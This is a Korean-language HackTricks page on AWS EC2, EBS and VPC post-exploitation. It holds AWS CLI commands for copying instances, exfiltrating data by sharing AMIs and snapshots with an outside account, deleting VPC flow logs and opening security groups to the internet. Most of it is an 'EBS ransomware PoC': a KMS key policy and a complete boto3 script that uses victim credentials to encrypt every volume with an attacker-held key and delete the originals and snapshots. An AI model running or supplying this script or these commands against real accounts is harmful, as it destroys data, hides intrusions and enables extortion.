Korean - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

AWS - EC2, EBS, SSM & VPC Post Exploitation

htARTE (HackTricks AWS Red Team 전문가)를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

EC2 & VPC

더 많은 정보는 확인하세요:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

악의적인 VPC 미러 - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC 트래픽 미러링은 VPC 내의 EC2 인스턴스의 수신 및 발신 트래픽을 복제하며 인스턴스 자체에 아무것도 설치할 필요가 없습니다. 이 복제된 트래픽은 일반적으로 네트워크 침입 탐지 시스템 (IDS)과 같은 것으로 전송되어 분석 및 모니터링됩니다. 공격자는 이를 악용하여 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다:

자세한 정보는 다음 페이지를 확인하세요:

pageAWS - Malicious VPC Mirror

실행 중인 인스턴스 복사

인스턴스에는 일반적으로 어떤 종류의 민감한 정보가 포함되어 있습니다. 내부로 들어가는 다양한 방법이 있습니다 (체크 EC2 권한 상승 트릭). 그러나 포함된 내용을 확인하는 다른 방법은 AMI를 생성하고 해당 AMI에서 새 인스턴스를 실행하는 것입니다:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS 스냅샷 덤프

스냫샷은 볼륨의 백업으로, 일반적으로 민감한 정보를 포함하므로 이를 확인하면 이 정보가 드러날 수 있습니다. 스냅샷이 없는 볼륨을 찾았다면: 스냅샷을 생성하고 다음 작업을 수행하거나 계정 내의 인스턴스에 마운트할 수 있습니다:

pageAWS - EBS Snapshot Dump

데이터 유출

DNS를 통한 데이터 유출

EC2를 외부로 트래픽이 나가지 않도록 잠그더라도 DNS를 통해 데이터를 유출할 수 있습니다.

  • VPC 플로우 로그는 이를 기록하지 않습니다.

  • AWS DNS 로그에 액세스할 수 없습니다.

  • "enableDnsSupport"를 false로 설정하여 이를 비활성화하십시오:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

API 호출을 통한 데이터 유출

공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이 호출을 기록하며 공격자는 Cloudtrail 로그에서 유출된 데이터를 볼 수 있을 것입니다.

열린 보안 그룹

이와 같이 포트를 열어 네트워크 서비스에 대한 추가 액세스를 얻을 수 있습니다:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

ECS로 권한 상승

EC2 인스턴스를 실행하고 ECS 인스턴스를 실행하는 데 사용하도록 등록한 다음 ECS 인스턴스 데이터를 도난할 수 있습니다.

자세한 정보는 여기를 확인하십시오.

VPC 플로우 로그 제거

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

AMI 공유

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS 스냅샷 공유

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS 랜섬웨어 PoC

S3 포스트-익스플로잇레이션 노트에서 시연된 랜섬웨어와 유사한 증명-of-컨셉입니다. KMS는 다양한 AWS 서비스를 암호화하는 데 사용하기 쉬운 방법으로 RMS(랜섬웨어 관리 서비스)로 이름을 변경해야 합니다.

먼저 '공격자' AWS 계정에서 KMS에 고객 관리 키를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 하겠지만, 현실적인 시나리오에서는 악의적인 사용자가 키 데이터를 AWS의 통제 밖에 보관할 것입니다. 키 정책을 변경하여 모든 AWS 계정 주체가 키를 사용할 수 있도록 합니다. 이 키 정책에서 계정 이름은 'AttackSim'이며 모든 액세스를 허용하는 정책 규칙은 '외부 암호화'라고 합니다.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

키 정책 규칙은 다음을 활성화해야만 EBS 볼륨을 암호화하는 데 사용할 수 있습니다:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

이제 공개적으로 접근 가능한 키를 사용할 수 있습니다. 우리는 암호화되지 않은 EBS 볼륨이 연결된 몇 개의 EC2 인스턴스가 생성된 '피해자' 계정을 사용할 수 있습니다. 이 '피해자' 계정의 EBS 볼륨이 우리가 암호화를 목표로 하는 대상이며, 이 공격은 고 권한 AWS 계정의 가정된 침해 하에 이루어집니다.

S3 랜섬웨어 예제와 유사합니다. 이 공격은 첨부된 EBS 볼륨의 사본을 스냅샷을 사용하여 생성하고, '공격자' 계정의 공개 키를 사용하여 새로운 EBS 볼륨을 암호화한 후, 원본 EBS 볼륨을 EC2 인스턴스에서 분리하고 삭제한 다음, 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다.

이로 인해 계정에는 암호화된 EBS 볼륨만 남게 됩니다.

또한 스크립트는 EC2 인스턴스를 중지하여 원본 EBS 볼륨을 분리하고 삭제했습니다. 원래의 암호화되지 않은 볼륨은 더 이상 존재하지 않습니다.

다음으로, '공격자' 계정의 키 정책으로 돌아가서 키 정책에서 '외부 암호화' 정책 규칙을 제거하십시오.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

새로 설정된 키 정책이 전파되는 데 시간이 걸립니다. 그런 다음 '피해자' 계정으로 돌아가서 새로 암호화된 EBS 볼륨 중 하나를 첨부하려고 시도하십시오. 볼륨을 첨부할 수 있다는 것을 알게 될 것입니다.

그러나 실제로 암호화된 EBS 볼륨을 사용하여 EC2 인스턴스를 다시 시작하려고 시도하면 펜딩 상태에서 영원히 '중지' 상태로 돌아가기만 합니다. 키 정책이 더 이상 허용하지 않기 때문에 첨부된 EBS 볼륨을 키를 사용하여 복호화할 수 없습니다.

이것이 사용된 파이썬 스크립트입니다. '피해자' 계정의 AWS 자격 증명과 암호화에 사용될 키의 공개적으로 사용 가능한 AWS ARN 값을 가져옵니다. 이 스크립트는 대상 AWS 계정의 모든 EC2 인스턴스에 연결된 모든 사용 가능한 EBS 볼륨의 암호화된 사본을 만들고, 모든 EC2 인스턴스를 중지하고, 원본 EBS 볼륨을 분리하고, 삭제한 다음 프로세스 중에 사용된 모든 스냅샷을 삭제합니다. 대상 '피해자' 계정에는 암호화된 EBS 볼륨만 남게됩니다. 이 스크립트는 테스트 환경에서만 사용하십시오. 파괴적이며 모든 원본 EBS 볼륨을 삭제합니다. 사용된 KMS 키를 사용하여 복구하고 스냅샷을 통해 원래 상태로 복원할 수 있지만, 이것이 결국 랜섬웨어 PoC임을 알려드리고 싶습니다.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!

다른 방법으로 HackTricks를 지원하는 방법:

前へAWS - DynamoDB Post Exploitation次へAWS - EBS Snapshot Dump

最終更新